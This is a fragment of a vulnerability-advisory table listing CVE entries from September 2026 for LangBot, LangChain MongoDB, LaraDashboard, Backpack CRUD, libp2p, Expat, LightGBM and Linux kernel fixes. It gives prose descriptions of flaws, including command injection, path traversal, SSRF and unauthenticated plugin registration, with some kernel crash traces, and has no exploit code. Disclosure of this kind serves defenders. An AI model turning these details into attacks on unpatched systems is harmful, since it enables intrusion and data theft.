&lt;td&gt;LangBot&#039;s plugin runtime (pip package langbot_plugin) through 0.4.17 starts a debug WebSocket server on 0.0.0.0:5401 (/plugin/ws) whose authentication is gated on plugin_debug_key, which defaults to an empty string and is never set by the upstream repository, Docker image, or docker-compose (which additionally publishes port 5401 to the host); the key check is therefore skipped entirely. Any remote attacker able to reach the port can register an arbitrary &quot;debug plugin&quot; without credentials. Because events are broadcast to all initialized plugins without filtering, the attacker&#039;s plugin receives the full context of every IM message event (including private chats, message chains, and user/sender IDs in plaintext) and can inject forged replies, send messages as any configured bot, enumerate bot UUIDs, invoke configured LLM models, read knowledge-base contents, and register malicious tools that feed every user&#039;s LLM pipeline. Registering with &quot;prod_mode&quot;: true causes later legitimate installations of a plugin with the same author/name to be rejected, resulting in persistent denial of service. No patched version was available at the time of publication.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90938&quot; target=&quot;_blank&quot;&gt;CVE-2026-90938&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;langchain-ai--langchain-mongodb&lt;/td&gt;
&lt;td&gt;LangChain MongoDB provides integrations between MongoDB, Atlas, LangChain, and LangGraph. Prior to langgraph-checkpoint-mongodb 0.3.0 and langgraph-store-mongodb 0.4.0, MongoDBSaver.list(), MongoDBSaver.alist(), and MongoDBStore.search() incorporate filter dictionaries into MongoDB queries without recursively rejecting keys prefixed with $. An authenticated caller who controls a filter argument through HTTP query parameters, request body fields, or agent tool arguments can inject MongoDB Query Language operators such as $regex or $where. In a multi-tenant deployment that uses the filter to enforce per-user or per-tenant isolation, injected operators can bypass intended equality filtering and expose other tenants&#039; checkpoint or store data. Filters constructed entirely from trusted server-side values have lower practical risk. This issue is fixed in langgraph-checkpoint-mongodb 0.3.0 and langgraph-store-mongodb 0.4.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55253&quot; target=&quot;_blank&quot;&gt;CVE-2026-55253&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;laradashboard--laradashboard&lt;/td&gt;
&lt;td&gt;LaraDashboard versions 0.9.2 through 1.2.2 contain a path traversal vulnerability in the core-upgrade backup handling. CoreUpgradeController and BackupService (e.g. BackupService::deleteBackup()) concatenate the user-supplied backup_file/filename value directly onto the backup directory path without normalisation, without applying basename(), and without verifying that the resolved path remains inside storage/app/core-backups; the corresponding form requests only validate the value as a bounded string. An authenticated user holding only the delegated settings.edit permission (not Superadmin) can supply ../ traversal sequences to delete arbitrary files reachable on the host filesystem, including outside the application tree, or to restore a ZIP archive from an arbitrary on-disk location, writing arbitrary files into the application directories and achieving remote code execution. Note: the advisory states the vulnerable concatenation was introduced in the v0.9.7 release line. No patched version was available at the time of publication.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90932&quot; target=&quot;_blank&quot;&gt;CVE-2026-90932&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;laradashboard--laradashboard&lt;/td&gt;
&lt;td&gt;laradashboard through 1.2.2 contains a missing authorization vulnerability in the Local License API endpoints that allows any authenticated user to read, overwrite, and delete premium module license keys. Attackers with low-privileged accounts can access GET /api/admin/licenses/show, POST /api/admin/licenses/store, and POST /api/admin/licenses/remove endpoints to disclose confidential license keys, inject attacker-controlled values, or delete stored licenses entirely.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90933&quot; target=&quot;_blank&quot;&gt;CVE-2026-90933&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Laravel-Backpack--CRUD&lt;/td&gt;
&lt;td&gt;backpack/crud provides Create, Read, Update &amp;amp; Delete (CRUD) functions for Backpack, a collection of Laravel packages that help users build custom administration panels. Prior to 6.8.12 and 7.0.35, HasUploadFields::uploadMultipleFilesToDisk in src/app/Models/Traits/HasUploadFields.php trusts disk-relative paths from clear_&amp;lt;attribute&amp;gt;[] and passes them to Storage::disk()-&amp;gt;delete without confirming that the paths are persisted on the current model record. An authenticated user with Update access to a CRUD using this mutator through src/app/Models/Traits/CrudTrait.php can delete another record&#039;s attachment, a shared asset, or another operational file on the configured disk by submitting its path. The newer MultipleFiles uploader is not affected because it intersects requested deletions with the record&#039;s persisted file list. This flaw does not permit reading the deleted files. The 5.x line remains affected through its final releases. This issue is fixed in versions 6.8.12 and 7.0.35.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54178&quot; target=&quot;_blank&quot;&gt;CVE-2026-54178&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Laravel-Backpack--CRUD&lt;/td&gt;
&lt;td&gt;backpack/crud provides Create, Read, Update &amp;amp; Delete (CRUD) functions for Backpack, a collection of Laravel packages that help users build custom administration panels. Prior to 4.1.70, 5.6.2, 6.8.13, and 7.0.36, Backpack\CRUD\Stats::makeCurlRequest in src/Stats.php is reached from BackpackServiceProvider::boot() and constructs a shell command with a URL influenced by the HTTP Host header, which it passes to exec() without adequate shell neutralization. An unauthenticated attacker whose malformed Host value reaches PHP can inject operating-system commands when exec() and curl are available and the 1-in-100 random gate is reached. Repeated requests can reach the random gate. Successful exploitation executes commands as the web-server user, exposing environment secrets, files, and reachable services and permitting data modification or service disruption. Common reverse-proxy Host validation and hardened PHP configurations that disable exec() reduce reachability but do not correct the vulnerable construction. This issue is fixed in versions 4.1.70, 5.6.2, 6.8.13, and 7.0.36.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54182&quot; target=&quot;_blank&quot;&gt;CVE-2026-54182&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Laravel-Backpack--CRUD&lt;/td&gt;
&lt;td&gt;backpack/crud provides Create, Read, Update &amp;amp; Delete (CRUD) functions for Backpack, a collection of Laravel packages that help users build custom administration panels. Prior to 6.8.11 and 7.0.34, MyAccountController::postAccountInfoForm in src/app/Http/Controllers/MyAccountController.php at POST /admin/edit-account-info passes request data from $request-&amp;gt;except([&#039;_token&#039;]) to the user model instead of restricting updates to fields accepted by AccountInfoRequest::validationData(). An attacker with an authenticated Backpack session can therefore mass-assign password, the authentication column, or other deployment-specific fillable attributes. With the default Laravel 11 user model, a submitted plaintext password is automatically hashed and persisted, converting temporary session access into persistent account takeover without the old_password check enforced by the separate password-change route. Changing the authentication email can also enable later password-reset takeover, while additional fillable security attributes can permit deployment-specific privilege escalation or security-control changes. This issue is fixed in versions 6.8.11 and 7.0.34.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54175&quot; target=&quot;_blank&quot;&gt;CVE-2026-54175&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Laravel-Backpack--CRUD&lt;/td&gt;
&lt;td&gt;backpack/crud provides Create, Read, Update &amp;amp; Delete (CRUD) functions for Backpack, a collection of Laravel packages that help users build custom administration panels. From 6.0.0 until 6.8.14 and 7.0.38, the Update, Delete, and Reorder operations resolve records from the unscoped model query instead of the query configured through addClause() or addBaseClause(). An authenticated user who knows or guesses an out-of-scope record primary key can therefore modify, delete, or reorder records hidden by tenant, ownership, or other row-level access-control scopes. Applications that do not rely on CRUD query clauses for authorization are not affected by this specific bypass. The fix routes all three write operations through getModelWithCrudPanelQuery(), matching the scoped list and read behavior. This issue is fixed in versions 6.8.14 and 7.0.38.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54180&quot; target=&quot;_blank&quot;&gt;CVE-2026-54180&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Leantime--leantime&lt;/td&gt;
&lt;td&gt;Leantime before 3.9.6 contains an authorization bypass vulnerability in the HTMX plugin install endpoint that lacks permission validation. Authenticated users with limited roles can install marketplace plugins and control arbitrary properties including identifier, version, and license key to deploy malicious plugins.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92772&quot; target=&quot;_blank&quot;&gt;CVE-2026-92772&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LeslieLeung--glean&lt;/td&gt;
&lt;td&gt;Glean is a self-hosted RSS reader and personal knowledge management tool. Prior to 0.2.6, POST /api/feeds/discover passes an attacker-supplied feed_url to discover_feed(feed_url), creates a subscription through FeedService.create_subscription(), and enqueues fetch_feed_task. The background path calls fetch_feed(feed.url) and parse_feed(), which assigns each RSS item link to ParsedEntry.url. The task then passes ParsedEntry.url to fetch_and_extract_fulltext(parsed_entry.url) without network-level validation in backend/packages/rss/glean_rss/extractor.py and backend/apps/worker/glean_worker/tasks/feed_fetcher.py. A malicious feed can therefore make the server request private, loopback, link-local, or cloud-metadata resources. The fetched response is stored in Entry.content and can be retrieved through GET /api/entries/{id}, producing non-blind server-side request forgery with full response disclosure. This can bypass network perimeters, probe internal services and ports, expose internal configuration or web content, and potentially disclose cloud metadata access tokens. This issue is fixed in version 0.2.6.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54339&quot; target=&quot;_blank&quot;&gt;CVE-2026-54339&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;libexpat--libexpat&lt;/td&gt;
&lt;td&gt;Expat through 2.8.4 fails to validate low surrogates following high surrogates in UTF-16 input, allowing malformed UTF-16 sequences to be accepted. Attackers can craft UTF-16 encoded XML with lone high surrogates that consume following code units, hiding markup characters from the parser and enabling XML injection attacks.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93990&quot; target=&quot;_blank&quot;&gt;CVE-2026-93990&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;libp2p--js-libp2p&lt;/td&gt;
&lt;td&gt;libp2p is a JavaScript implementation of the libp2p networking stack. From 8.0.0 until 12.0.24, @libp2p/peer-store in packages/peer-store/src/index.ts uses consumePeerRecord to verify a RecordEnvelope signature but does not require PeerRecord.peerId in the signed payload to equal the signer peer ID derived by RecordEnvelope.openAndCertify. The expectedPeer option checks only the envelope signer, and the gossipsub Peer Exchange path can provide the attacker&#039;s own peer ID as expectedPeer. An attacker can therefore sign a record with the attacker&#039;s key, place a victim peer ID and attacker-controlled multiaddrs in the payload, and have certified addresses stored for the victim. The poisoned addresses can cause address-book corruption, dial redirection or failure, routing manipulation, and reachability disruption, although the connection upgrade still verifies remote peer identity and prevents a complete identity takeover. The issue is fixed in version 12.0.24.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86039&quot; target=&quot;_blank&quot;&gt;CVE-2026-86039&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;libp2p--js-libp2p&lt;/td&gt;
&lt;td&gt;libp2p is a JavaScript implementation of the libp2p networking stack. From 15.0.0 until 16.0.5, @libp2p/gossipsub uses the default StrictSign policy in packages/gossipsub/src/utils/buildRawMessage.ts, where validateToRawMessage verifies a signature with attacker-controlled msg.key but skips binding that key to msg.from when the claimed author is an RSA peer ID that does not inline a public key. An unauthenticated attacker can place a victim RSA peer ID in msg.from, sign the message with the attacker&#039;s private key, and supply the attacker&#039;s public key in msg.key, causing the message to be accepted and propagated as authored by the victim. Applications that trust message.from for validators, authorization, accounting, moderation, reputation, or audit logging can process attacker-controlled data under false origin attribution. The issue is fixed in version 16.0.5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86038&quot; target=&quot;_blank&quot;&gt;CVE-2026-86038&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;libp2p--js-libp2p&lt;/td&gt;
&lt;td&gt;libp2p is a JavaScript implementation of the libp2p networking stack. Prior to 11.0.26, @libp2p/floodsub accepts unauthenticated RPC frames on /floodsub/1.0.0 through PeerStreams.attachInboundStream in packages/floodsub/src/peer-streams.ts without protobuf element limits, then processRpc and processRpcSubOpt in packages/floodsub/src/floodsub.ts synchronously process the subscriptions array without a per-frame cap. A single bounded-size frame can decode into millions of empty subscription entries that block the event loop, while hundreds of thousands of unique-topic SUBSCRIBE entries allocate PeerSet objects in this.topics that are not removed after peer removal or stop. Empty entries cause CPU exhaustion but do not grow this.topics; persistent memory growth requires unique topics. The subscription path bypasses message signature validation and the message-only processing queue, allowing a remote peer to cause sustained CPU denial of service, memory exhaustion, out-of-memory termination, and node unavailability. The issue is fixed in version 11.0.26.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86040&quot; target=&quot;_blank&quot;&gt;CVE-2026-86040&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;lightgbm-org--LightGBM&lt;/td&gt;
&lt;td&gt;LightGBM through 4.7.0 fails to validate child and split array values when parsing text models, allowing attackers to write out-of-bounds memory during SHAP prediction. Attackers can craft malicious model files with invalid node references that trigger out-of-bounds writes at attacker-chosen offsets in the leaf_depth_ buffer during feature contribution computation.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92786&quot; target=&quot;_blank&quot;&gt;CVE-2026-92786&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Handle negative S1 walk levels in VNCR TLB size evaluation Computing the effects of a TLB invalidation involves looking at the size of the mapping cached by the TLB. For S1 mappings such as VNCR, this is deducted from the combination of the base granule size and the mapping level. However, this implies that the S1 MMU is *on*. When the MMU is off, we indicate this with the level being set to a &quot;creative&quot; value of -127 (S1_MMU_DISABLED). This ends-up being misinterpreted by pgshift_level_to_ttl() as it doesn&#039;t handle negative levels at all (the level is immediately cast to a u8 and only the bottom two bits considered), leading to an invalidation size of 0. Not helpful. Tidy-up pgshift_level_to_ttl() to handle these negative levels, and ttl_to_size() to always return SZ_1G when no valid TTL is present. This allows the removal of open-coded checks for similar situations. Note that the check for a negative value not explicitely checking for S1_MMU_DISABLED is deliberate, so that actual negative levels introduced with LVA2 and D128 can take the same path if we ever support them.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89775&quot; target=&quot;_blank&quot;&gt;CVE-2026-89775&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: isofs: fix out-of-bounds page array access on empty zisofs block zisofs_uncompress_block()&#039;s empty-block fast path returns pcount &amp;lt;&amp;lt; PAGE_SHIFT, ignoring the incoming poffset, unlike the decompression path which returns bytes produced relative to poffset. zisofs_fill_pages() uses that return to advance its page cursor, so when the zisofs block size is below PAGE_SIZE and a sub-page block leaves poffset partway into a page, a following empty block over-counts and advances pages[] one element past its end, after which &quot;if (poffset &amp;amp;&amp;amp; *pages)&quot; reads pages[1] out of bounds. rock.c only rejects a block-size shift &amp;gt; 17, so a crafted &quot;ZF&quot; Rock Ridge record can set it below PAGE_SHIFT; the bug is reached by an ordinary read() of a compressed file on such a mounted ISO9660 image. Return the byte count relative to poffset and zero only [poffset, PAGE_SIZE) of the first page, matching the decompression path. The page-aligned case (poffset == 0) is unaffected. BUG: KASAN: slab-out-of-bounds in zisofs_read_folio (fs/isofs/compress.c:290) Read of size 8 at addr ffff88800f5eac48 by task exploit/142 zisofs_read_folio (fs/isofs/compress.c:290) read_pages (mm/readahead.c:184) ... filemap_read (mm/filemap.c:2814) vfs_read (fs/read_write.c:574) __x64_sys_pread64 (fs/read_write.c:769) do_syscall_64 (arch/x86/entry/syscall_64.c:94) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121) The buggy address is located 0 bytes to the right of the allocated 8-byte region in the kmalloc-8 cache&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89778&quot; target=&quot;_blank&quot;&gt;CVE-2026-89778&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: validate ef-&amp;gt;size covers the record&#039;s name and value When an EA record has a non-zero ef-&amp;gt;size, ntfs_read_ea() only checks that the record fits in the remaining buffer (ea_size &amp;gt; bytes), not that ef-&amp;gt;size is large enough to hold the record&#039;s own name_len + 1 + elength. A crafted image can pass validation with, e.g., ef-&amp;gt;size = 24 but elength = 0xffff. ntfs_get_ea() then trusts elength and copies it out of the undersized record, reading past the kmalloc(info-&amp;gt;size) allocation and leaking heap memory to userspace via getxattr(): BUG: KASAN: slab-out-of-bounds in ntfs_get_ea (fs/ntfs3/xattr.c:302) Read of size 65535 at addr ffff888100794550 by task exploit __asan_memcpy (mm/kasan/shadow.c:105) ntfs_get_ea (fs/ntfs3/xattr.c:302) ntfs_getxattr (fs/ntfs3/xattr.c:848) __vfs_getxattr (fs/xattr.c:441) vfs_getxattr (fs/xattr.c:474) do_getxattr (fs/xattr.c:800) path_getxattrat (fs/xattr.c:868) do_syscall_64 (arch/x86/entry/syscall_64.c:94) The buggy address is located 80 bytes inside of allocated 84-byte region in cache kmalloc-96 Compute the size the record needs and require ef-&amp;gt;size to cover it.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89779&quot; target=&quot;_blank&quot;&gt;CVE-2026-89779&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xfrm6: fix out-of-bounds write in xfrm6_input_addr() when secpath is full The depth check in xfrm6_input_addr() is off by one: if (1 + sp-&amp;gt;len == XFRM_MAX_DEPTH) goto drop; ... sp-&amp;gt;xvec[sp-&amp;gt;len++] = x; xfrm_input() can leave sp-&amp;gt;len == XFRM_MAX_DEPTH, and the transport-mode receive path re-enters IPv6 input via xfrm_trans_reinject() with that secpath preserved. If the inner packet carries a destination-options HAO option or a type-2 routing header, xfrm6_input_addr() is called with sp-&amp;gt;len == XFRM_MAX_DEPTH; the check (1 + 6 == 6) is false, so sp-&amp;gt;xvec[sp-&amp;gt;len++] writes one slot past the 6-element xvec[]. The write stays within the sec_path allocation (invisible to KASAN); UBSAN_BOUNDS flags it and panics under panic_on_warn. Use &quot;sp-&amp;gt;len &amp;gt;= XFRM_MAX_DEPTH&quot;, matching xfrm_input(). This also restores one chain level the old check rejected at sp-&amp;gt;len == 5. UBSAN: array-index-out-of-bounds in net/ipv6/xfrm6_input.c:309:10 index 6 is out of range for type &#039;xfrm_state *[6]&#039;&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89783&quot; target=&quot;_blank&quot;&gt;CVE-2026-89783&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ext4: fix out-of-bounds read in ext4_read_inline_dir() ext4_read_inline_dir() can read a dirent header past the end of its inline buffer, triggering a slab-out-of-bounds read during getdents64(): BUG: KASAN: slab-out-of-bounds in __ext4_check_dir_entry Read of size 2 at addr ffff88800f3dd23c by task exploit/148 ... __ext4_check_dir_entry ext4_read_inline_dir iterate_dir The dirent payload lives in a buffer of exactly inline_size bytes: dir_buf = kmalloc(inline_size, GFP_NOFS); but iteration runs in a position space extra_offset bytes larger (extra_size = extra_offset + inline_size) so the synthetic &quot;.&quot; and &quot;..&quot; land at their block-dir offsets. A dirent is formed at &quot;dir_buf + pos - extra_offset&quot;, yet the ext4_check_dir_entry() length argument uses the larger extra_size. A position whose dirent header would extend past extra_size is therefore accepted, and the rescan loop&#039;s rec_len probe and ext4_check_dir_entry() dereference de-&amp;gt;rec_len before the entry is rejected. Reject a position whose minimum-size dirent header would not fit within extra_size before forming de, in both the rescan and main loops, and pass inline_size rather than extra_size to ext4_check_dir_entry() so the length check matches the physical buffer.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89786&quot; target=&quot;_blank&quot;&gt;CVE-2026-89786&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix tree connection use-after-free in smb2_tree_connect() ksmbd_tree_conn_connect() publishes a new tree connection in sess-&amp;gt;tree_conns with a single reference and returns its pointer to smb2_tree_connect(). The handler continues to initialize the object and build the response after publication. A concurrent session logoff can erase the connection and drop that reference, freeing the object while the handler still uses it. BUG: KASAN: slab-use-after-free in smb2_tree_connect+0xe3d/0xf90 smb2_tree_connect (fs/smb/server/smb2pdu.c:2872) handle_ksmbd_work process_one_work worker_thread kthread After xa_store() succeeds, take a second reference before releasing tree_conns_lock. The original reference belongs to the xarray entry and the second belongs to the creating smb2_tree_connect() handler. Keep the references balanced in every path: - On normal exit or an error after publication, smb2_tree_connect() drops its creator reference. Error cleanup also calls ksmbd_tree_conn_disconnect(), which drops the xarray reference only if it removes the exact entry. - SMB2 TREE_DISCONNECT uses the same helper to remove the entry and drop its xarray reference. The request&#039;s existing lookup reference remains owned by the request and is released by the existing cleanup. - Session LOGOFF removes each entry and drops its xarray reference. If it wins the race, later cleanup sees that the entry is gone and does not drop that reference again. To enforce this ownership, claim the disconnected state and erase the exact entry atomically under tree_conns_lock. This guarantees one drop for the xarray reference and one drop by each in-flight user, regardless of which teardown path wins. If logoff removes the entry before initialization completes, fail the connect instead of marking the detached object TREE_CONNECTED.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89788&quot; target=&quot;_blank&quot;&gt;CVE-2026-89788&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Bound rsp_info_len to avoid OOB sense-data read In qla2x00_status_entry(), the FWI2 status path advances sense_data and shrinks par_sense_len by rsp_info_len: if (IS_FWI2_CAPABLE(ha)) { sense_data += rsp_info_len; par_sense_len -= rsp_info_len; } rsp_info_len is a 32-bit value taken directly from the target&#039;s FCP response (sf.rsp_data_len), while par_sense_len is the IOCB data area size (28 bytes for 24xx, 60 bytes for 29xx). A hostile or buggy target reporting an rsp_info_len larger than par_sense_len makes the unsigned subtraction underflow to a huge value and advances sense_data out of bounds. The underflowed par_sense_len then defeats the cap in qla2x00_handle_sense(): if (sense_len &amp;gt; par_sense_len) sense_len = par_sense_len; memcpy(cp-&amp;gt;sense_buffer, sense_data, sense_len); so the memcpy reads up to SCSI_SENSE_BUFFERSIZE bytes from the out-of-bounds sense_data pointer, leaking adjacent response-ring/heap memory into the command&#039;s sense buffer. Clamp rsp_info_len to par_sense_len before the subtraction so par_sense_len can never underflow and sense_data stays within the IOCB data area. The fix sits before the comp_status switch, covering both qla2x00_handle_sense() call sites.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89846&quot; target=&quot;_blank&quot;&gt;CVE-2026-89846&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Avoid double completion in async IOCB timeout qla2x00_async_iocb_timeout() tries to abort a timed-out async IOCB. When qla24xx_async_abort_cmd() fails, both the SRB_LOGIN_CMD path and the SRB_CTRL_VP/default path scan outstanding_cmds[] for the SRB and then call sp-&amp;gt;done(sp, QLA_FUNCTION_TIMEOUT) unconditionally, without checking whether the SRB was actually found and removed. If the response ISR completes the same handle first, it removes the SRB under qp_lock_ptr and runs sp-&amp;gt;done() -&amp;gt; complete(sp-&amp;gt;comp). The submitter qla24xx_control_vp() wakes from wait_for_completion(), clears sp-&amp;gt;comp, drops its reference and returns, reclaiming the on-stack completion. The timer reference keeps the SRB alive across the timeout handler, but not the submitter&#039;s stack. The timeout then issues a second sp-&amp;gt;done() -&amp;gt; qla_ctrlvp_sp_done(), which evaluates &quot;if (sp-&amp;gt;comp) complete(sp-&amp;gt;comp)&quot;; with the pointer loaded before the submitter&#039;s NULL store, complete() writes into the freed stack frame, a use-after-free. Track whether this path removed the SRB from outstanding_cmds and only call sp-&amp;gt;done() when it did, so the command is completed exactly once by whichever path owns it. This mirrors the sp_found guard already used in qla24xx_abort_iocb_timeout().&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89847&quot; target=&quot;_blank&quot;&gt;CVE-2026-89847&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Hold qpair lock when sending NVMe LS reject qla_nvme_ls_reject_iocb() allocates from and advances the request ring through __qla2x00_alloc_iocbs() (which assumes the hardware_lock is held) and qla2x00_start_iocbs() (which advances the ring and rings the request-in doorbell), but takes no lock itself. Two of its callers invoke it without the producer lock held: - qla_nvme_xmt_ls_rsp(), the NVMe-FC .xmt_ls_rsp transport callback, on its error path, and - qla2xxx_process_purls_pkt(), run from the purex work/DPC context. Both use ha-&amp;gt;base_qpair, whose qp_lock_ptr is hardware_lock, so they can run concurrently with normal I/O submission on the base ring and corrupt the ring producer state, leading to duplicated or dropped commands. The third caller, qla2xxx_process_purls_iocb(), runs inside qla24xx_process_response_queue() with the qpair lock already held and is safe; that is also why the lock cannot be taken inside the helper itself (it would recursively re-acquire hardware_lock on the response path). Take qp_lock_ptr around the two unlocked callers and document the helper as 